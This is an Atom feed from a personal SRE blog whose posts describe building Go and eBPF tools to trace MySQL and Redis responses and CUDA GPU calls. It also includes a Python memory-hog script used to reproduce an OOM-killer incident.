<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

 <title>VuNguyen's SRE Blog</title>
 <link href="https://vuvietnguyenit.github.io/atom.xml" rel="self"/>
 <link href="https://vuvietnguyenit.github.io/"/>
 <updated>2026-01-07T07:09:26+00:00</updated>
 <id>https://vuvietnguyenit.github.io</id>
 <author>
   <name>Vu Nguyen</name>
   <email>vuviet.nguyen.docs@gmail.com</email>
 </author>

 
 <entry>
   <title>New packet-sniffer tool</title>
   <link href="https://vuvietnguyenit.github.io/go-packet-sniffing-repo"/>
   <updated>2026-01-07T00:00:00+00:00</updated>
   <id>https://vuvietnguyenit.github.io/go-packet-sniffing-repo</id>
   <content type="html">&lt;hr /&gt;

&lt;p&gt;I had this idea yesterday because I got a task about research error responses of Redis those are sent back to clients/applications several days ago. I didn’t spend much time to research this task, because it was similar with MySQL tracing tool I done before, I discussed about that in &lt;a style=&quot;color: blue&quot; href=&quot;./2026-01-02-happy-new-year-2026.md&quot;&gt;this post&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But, maybe there are many problems when I want to implement more than one tool like this, it has similar codebase, directory structure, even function name. Copy project from one to another and rename it, logic is only changed in a function, blah blah … All of these aren’t always a good idea. At current time, I only have MySQL, Redis, but in the future it may have more (for example: Kafka, Postgres, MongoDB). Not to mention that if I need to add a function on all of these tool, I need to update in all of project, this obivously is nightmare.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;I very very don’t like to do the repeatable work&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;So, I created a new project with a new codebase (this project was renamed from old project, which has a name &lt;strong&gt;mysql-error-echo&lt;/strong&gt;). Project link: &lt;a href=&quot;https://github.com/vuvietnguyenit/packet-sniffing&quot; style=&quot;color: blue&quot;&gt;https://github.com/vuvietnguyenit/packet-sniffing&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I only take around 15min to add new Redis sniffer module, export to Prometheus metrics, inherit functions are existed before, that is very convenient. Moreover, I won’t scary about add new functions on these sperate projects, because all project is one project. But to achieve this, you need a sufficiently good codebase.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Ah, in the &lt;a style=&quot;color: blue&quot; href=&quot;./2026-01-02-happy-new-year-2026.md&quot;&gt;previous post&lt;/a&gt;, I mentioned about performance when use sniffing technique. I built a testing idea like this:&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/Mermaid%20Chart%20-%20Create%20complex,%20visual%20diagrams%20with%20text.-2026-01-07-064011.png&quot; alt=&quot;testing flow&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I used two machine to test latency about Redis client -&amp;gt; server, send request from machine 1 and get response from machine 2. I put BCC (base on eBPF) latency measurement tool &lt;a href=&quot;https://github.com/iovisor/bcc/blob/master/tools/tcpconnlat_example.txt&quot; style=&quot;color: blue&quot;&gt;tcpconnlat&lt;/a&gt; on machine 1 to measure latency of “spammer” PID when enable/disable sniffer tool on machine 2 that I described in image above.&lt;/p&gt;

&lt;p&gt;And it give me a result: “&lt;strong&gt;Latency didn’t change when I enabled/disabled &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sniffer&lt;/code&gt; tool on machine 2&lt;/strong&gt;”. If you can see “Something is wrong” in my testing idea, let’s me know it. Thanks.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Happy new year 2026</title>
   <link href="https://vuvietnguyenit.github.io/happy-new-year-2026"/>
   <updated>2026-01-02T00:00:00+00:00</updated>
   <id>https://vuvietnguyenit.github.io/happy-new-year-2026</id>
   <content type="html">&lt;hr /&gt;

&lt;p&gt;&lt;strong&gt;I kicked off the first Friday of 2026 with a lunchtime swim, wearing a pair of loose swim trunks. I was constantly worried they might slip off every time I pushed hard against the pool wall to get momentum. So I ended that swim having covered just 425 meters. 🙂&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/photo_2026-01-03_10-50-54.jpg&quot; alt=&quot;capuccino&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Today all of my teamate is absent, only me and my boss go to office to do some shit things. I was going to book take a leave today but I didn’t have any ideas about what I could do today. So, I went to the office and drink boss’s capuccino 😅 
&lt;img src=&quot;/assets/images/photo_2026-01-03_10-51-01.jpg&quot; alt=&quot;capuccino&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Then leaving the office at 2 PM to go somewhere that can make me have more excited with today’s work.&lt;/p&gt;

&lt;p&gt;I read some page of a book, not interesting so I open Jira to see something news, nothing news. I just got a task about Redis tracing a few days ago. Therefore, I’ve though about it all of this morning, I thinking what is best way that can do with it, network sniffing over-the-wire? syscall tracing? any hacking ways 🤔? (I don’t like to do the repeatable work, because I done the similar work with MySQL trace before by sniffing over-the-wire. See &lt;a href=&quot;https://github.com/vuvietnguyenit/mysql-error-echo&quot; style=&quot;color: blue&quot;&gt;mysql tracing&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;I love ideas, intelligence things, creative. So, in this work I want to do the different with previous one, and sure I need to ensure that it will be better. I read and research about the easiest way but perfect with this task (try it with Python and &lt;a href=&quot;https://scapy.net/&quot; style=&quot;color: blue&quot;&gt;Scapy&lt;/a&gt; - lazy-way 😌😌, that is difference way with previous: Go-packet).&lt;/p&gt;

&lt;p&gt;But as you know (or you don’t know 😂😂😂) Python is very slow. What will happen when you use Python to inspect million packets per second 🤨? But Python is providing Scapy, I curious with its performace, I thinked a lot “&lt;strong&gt;Are there any magics that can make it very fast by Python ?&lt;/strong&gt;”, any CPython is implemented in this library ? or something else.&lt;/p&gt;

&lt;p&gt;I think I might to try it to ensure that it can provide me the thing I want, prevent do futile works, or even make network latency is more higher.&lt;/p&gt;

&lt;p&gt;So, let’s continue in next story.&lt;/p&gt;

&lt;p&gt;Happy new year 2026.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExOHRza3BkOGk1azBkaWlvbTNwZzRlY2o5MGZtdGwxN2hwMjE5anNmMCZlcD12MV9naWZzX3NlYXJjaCZjdD1n/GCLlQnV7wzKLu/giphy.gif&quot; alt=&quot;Fireworks&quot; /&gt;&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>On-the-Fly MySQL Response Tracing - Part 1</title>
   <link href="https://vuvietnguyenit.github.io/mysql-response-trace"/>
   <updated>2025-10-20T00:00:00+00:00</updated>
   <id>https://vuvietnguyenit.github.io/mysql-response-trace</id>
   <content type="html">&lt;hr /&gt;

&lt;h2 id=&quot;ngày-2010-chúc-một-nửa-thế-giới-luôn-xinh-đẹp-và-tỏa-sáng---như-ánh-đèn-bestlight-trong-mọi-không-gian-&quot;&gt;Ngày 20/10 chúc một nửa thế giới luôn xinh đẹp và tỏa sáng - như ánh đèn Bestlight trong mọi không gian! ✨&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vunv.jpg&quot; alt=&quot;ktvu&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Tặng chị em track/reel anh nghiện mấy tuần nay 😎🎶: 
&lt;a href=&quot;https://www.tiktok.com/@doanhnhansena/video/7561723932211105031?lang=en&quot;&gt;https://www.tiktok.com/@doanhnhansena/video/7561723932211105031?lang=en&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Decrease MTTR (Mean Time To Response) is the most important when we do incident response (IR), it largely depends on the skills and knowledge of the engineers responsible for the system, the more experience and understanding they have, the faster they can resolve issues. But no one can understand all corners of system. Therefore, if we can provide clear insights that help any engineer quickly understand what is happening in the current situation, we can significantly reduce response time and save both time and cost for the organization.&lt;/p&gt;

&lt;p&gt;But, how can do that ? That is a very difficult question I thinking about recently, because we met some operate problems in our system, we will take many time to incident response when it happening. That problem is about our database cluster (MySQL) and backends connect to, we don’t know what exactly backend connect to MySQL server, what response my database responsed to the backend when the users told that they can’t access page A,B,C and we couldn’t know how many components have been built in those pages. Just developer/product owner know about it, but how can we proactive it when something wrong happen ?&lt;/p&gt;

&lt;p&gt;Our MySQL cluster processes approximately 20,000 requests per second - a significant throughput level. Given that 1/3 of Vietnam’s population uses our product, performance considerations are absolutely critical.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/mysql-grafana-res.png&quot; alt=&quot;MySQL throughput&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Flow:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Client] &amp;lt;---&amp;gt; [backend] &amp;lt;---&amp;gt; [DB]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Because MySQL legacy doesn’t provide a details what message responsed to the backend in logs or something like this, we can see that at backend level (if developer print it to console), not from database level because this information isn’t available, that makes everything become more hardly to trace.&lt;/p&gt;

&lt;p&gt;There is some solutions we can apply in this simple workflow to help “insight” anything we want to know:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Solution 1&lt;/strong&gt;: We can integrate some module to our backend to push to centralize somewhere what “insight” we want to know that can read and filter it later.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Solution 2&lt;/strong&gt;: Implement more layer between backend and DB help to catch everything happening.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Analysis:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;In solution 1, we need to integrate some logic in backend to do this, that mean we will make more complicated backend and in microservice architechture, that is anti-pattern. Furthermore, if we had many backends these connect to, we need to re-implement it in all of them (or build common-lib that will help decrease a little bit toils), and sure if we need to update something in that module, we need to re-update it in all other backends too.&lt;/li&gt;
  &lt;li&gt;In solution 2, we can done it more easily, we can use open-source proxy-style like ProxySQL, adjust config and we can use it immediately with very little toils. Like this:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Flow:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Client] &amp;lt;---&amp;gt; [backend] &amp;lt;---&amp;gt; [proxy] &amp;lt;---&amp;gt; [DB]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;But in solution, we implemented more layer in workflow already. This means, the latency will increase significantly (as there are additional factors to consider, for example network bandwidth, throughput, hardware performance, … affect to latency in this case). With simple thinking, we adding a step in overall workflow -&amp;gt; need more time to do this step. Additionaly, we just want to know what the response responsed to our backend, not by requests or some other one, we will make &lt;a href=&quot;https://en.wikipedia.org/wiki/Overengineering&quot;&gt;Over-Engineering&lt;/a&gt;. And sure about that we need much more computer resources to implement it.
Moreover, if we have very big system that handle million users or billion request per day, latency of each request is one of the most thing we need to consider at. Easily, because we don’t want to make users unhappy because my system is slow of unreliable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thus, what is the best solution we can consider in this case?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That is BPF, we can write a BPF program to catch TCP packets that sent before backend received it. In Linux kernel, every message send via TCP proto handled by &lt;a href=&quot;https://elixir.bootlin.com/linux/v6.17.3/source/include/net/tcp.h#L333&quot;&gt;tcp_sendmsg&lt;/a&gt; function. The main tasks we need to consider are “Which deployment methods we will use ?”, “How can we test, experimental and integrate it into our big system ?”. I will write more details about it in next chapter.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Client] &amp;lt;-- tcp_sendmsg() -- [Server]
                  ^
                  |
        we will hook from here
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Have a good day.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>GPU tracing and monitoring at low-level</title>
   <link href="https://vuvietnguyenit.github.io/cuda-trace-ebpf"/>
   <updated>2025-08-09T00:00:00+00:00</updated>
   <id>https://vuvietnguyenit.github.io/cuda-trace-ebpf</id>
   <content type="html">&lt;p&gt;Recently, I tried to find some ways to monitor workload of GPU in Linux server to help detect issues when training AI models. I went to internet and find some opensource to help me do that because I don’t want to take a lot of time to build something from scratch 🙂. I’m lazy and always want to use my brain that think about anything beautiful, colorful in the world, not from computer 😌&lt;/p&gt;

&lt;p&gt;But almost I can’t find any opensource this can fit with my case, I found an exporter that might help me a little bit: &lt;a href=&quot;https://github.com/utkuozdemir/nvidia_gpu_exporter&quot;&gt;https://github.com/utkuozdemir/nvidia_gpu_exporter&lt;/a&gt;. I read this opensource very carefully and realized that the implementation of code is basic (call cmd of nvidia-smi, get result and parse the result in Go code), that implementation works fine but not native and it can’t help me in trace problems in low-level function (malloc(), free() call, performance of train processes, bottlenecks or something like that).&lt;/p&gt;

&lt;p&gt;Because of all this, I very curious with how tools like nvidia-smi, nvtop can trace process’s resource usage. And when I checked it, both of them mapped with a shared library libnvidia-ml.so&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@gpu1:~# ps aux | &lt;span class=&quot;nb&quot;&gt;grep &lt;/span&gt;nvidia-sm                                                            
root      623505  4.2  0.0 313864 18320 pts/75   Sl+  10:34   0:12 nvidia-smi pmon &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; u                                                                                                          
root      625262  0.0  0.0   9276  1964 pts/35   S+   10:39   0:00 &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--color&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;auto nvidia-sm                                                                                                   
root@gpu1:~# ps aux | &lt;span class=&quot;nb&quot;&gt;grep &lt;/span&gt;nvtop                                                                                                                                                                 
root      625267  0.0  0.0   9144  2064 pts/35   S+   10:39   0:00 &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--color&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;auto nvtop                                                                                                       
root     3667564  2.0  0.0 185120 22220 pts/69   Sl+  Aug07  51:54 nvtop
root@gpu1:~# &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /proc/623505/maps | &lt;span class=&quot;nb&quot;&gt;grep &lt;/span&gt;libnvidia
7b4a27200000-7b4a273e7000 r-xp 00000000 00:1c 356260                     /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.570.133.07 &lt;span class=&quot;c&quot;&gt;# here&lt;/span&gt;
root@gpu1:~# &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /proc/3667564/maps | &lt;span class=&quot;nb&quot;&gt;grep &lt;/span&gt;libnvidia
7eb296600000-7eb2967e7000 r-xp 00000000 00:1c 356260                     /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.570.133.07
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When tools like nvidia-smi be use, it load [libnvidia-ml.so] first and then make the calls to API functions written by C to query and control NVIDIA GPUs via this shared library under the hood.&lt;/p&gt;

&lt;p&gt;We can check the functions provided by shared library&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@gpu1:~# nm &lt;span class=&quot;nt&quot;&gt;-D&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--defined-only&lt;/span&gt; /usr/lib/x86_64-linux-gnu/libnvidia-ml.so | &lt;span class=&quot;nb&quot;&gt;head
&lt;/span&gt;0000000000069dc0 T nvmlComputeInstanceDestroy
000000000006a390 T nvmlComputeInstanceGetInfo
000000000006a5a0 T nvmlComputeInstanceGetInfo_v2
0000000000085c20 T nvmlDeviceClearAccountingPids
00000000000515f0 T nvmlDeviceClearCpuAffinity
000000000007b260 T nvmlDeviceClearEccErrorCounts
0000000000064240 T nvmlDeviceClearFieldValues
00000000000683f0 T nvmlDeviceCreateGpuInstance
0000000000068620 T nvmlDeviceCreateGpuInstanceWithPlacement
0000000000063e60 T nvmlDeviceDiscoverGpus
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And reference it with its documentation &lt;a href=&quot;https://docs.nvidia.com/deploy/nvml-api/&quot;&gt;https://docs.nvidia.com/deploy/nvml-api/&lt;/a&gt; to see how the function is used.&lt;/p&gt;

&lt;p&gt;Additionally, when jobs run on the GPU server, they make calls to the CUDA Runtime/Driver API to use GPU resources (memory, CPU, etc.) via the shared libraries &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libcuda.so&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libcudart.so&lt;/code&gt;. You can list the functions defined in the library using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nm&lt;/code&gt; as shown above, and refer to its documentation on the internet.&lt;/p&gt;

&lt;h2 id=&quot;ebpf-comes-into-play&quot;&gt;eBPF comes into play&lt;/h2&gt;

&lt;p&gt;I was thinking about write an eBPF program that can help me do everything above like this:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;SEC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;uprobe/cuMemAlloc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;trace_cu_mem_alloc_entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pt_regs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__u64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid_tgid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bpf_get_current_pid_tgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__u32&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid_tgid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;CUdeviceptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dptr_ptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CUdeviceptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PT_REGS_PARM1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__u64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PT_REGS_PARM2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bpf_map_lookup_elem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;inflight&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pid_tgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;bpf_printk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;cuMemAlloc entry: pid_tgid=%llu already has inflight alloc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
               &lt;span class=&quot;n&quot;&gt;pid_tgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;bpf_map_update_elem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;inflight&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pid_tgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alloc_info_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dptr_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CUdeviceptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dptr_ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;BPF_ANY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;bpf_printk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;cuMemAlloc entry: pid_tgid=%llu, size=%llu, ptr=0x%llx&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid_tgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
             &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dptr_ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This implementation helps me trace anything at the low-level function level and lets me gather all the metrics I need with minimal resource usage on the server. However, it requires C for the eBPF program and another “frontend” language (Go, Python), which is a big challenge. But it can give me everything operation I want. As far as I know, there’s no open-source project that does this yet, so I want to contribute it as the first program to achieve that 😄.&lt;/p&gt;

&lt;p&gt;That’s genius!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>OOM Profiler Investigation</title>
   <link href="https://vuvietnguyenit.github.io/oom-profiler"/>
   <updated>2025-07-03T00:00:00+00:00</updated>
   <id>https://vuvietnguyenit.github.io/oom_profiler</id>
   <content type="html">&lt;p&gt;Several days, we met a incident about OOM Killer, this event happened and doesn’t leave any traces only provide a obscure hint:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;32649828.020667] Out of memory: Kill process 2012894 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;keydb-server&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; score 1015 or sacrifice child
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;32649828.020792] Killed process 2012894 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;keydb-server&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; total-vm:10830176kB, anon-rss:4102576kB, file-rss:0kB, shmem-rss:0kB
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Honestly, we don’t know why was this process killed, so we need to investigate “why” and what happened on server when incident occur. Maybe, it was innocent and another process was leaded to excessive memory consumption make OS choose innocent guy to kill in some way.&lt;/p&gt;

&lt;p&gt;I need to investigate it and expose the criminal, bring it to light. Firstly, I need a good scenario to reenact the story happened. So, I have written some Python scripts to simulate that.&lt;/p&gt;

&lt;p&gt;The script make OOM to the server, and it can’t be killed&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# cat hogger.py &lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#!/usr/bin/python3&lt;/span&gt;
import &lt;span class=&quot;nb&quot;&gt;time
&lt;/span&gt;import os

pid &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; os.getpid&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
print&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;current PID: &quot;&lt;/span&gt;, pid&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Make this process OOM-immune&lt;/span&gt;
with open&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;s2&quot;&gt;&quot;/proc/{pid}/oom_score_adj&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; as f:
    f.write&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-1000&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

a &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt;
try:
    &lt;span class=&quot;k&quot;&gt;while &lt;/span&gt;True:
        a.append&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;bytearray&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1024 &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; 1024&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;  &lt;span class=&quot;c&quot;&gt;# 1MB&lt;/span&gt;
        time.sleep&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.05&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c&quot;&gt;# Sleep 50ms per chunk = 20MB/s&lt;/span&gt;
except MemoryError:
    print&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Out of Memory caught by Python&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

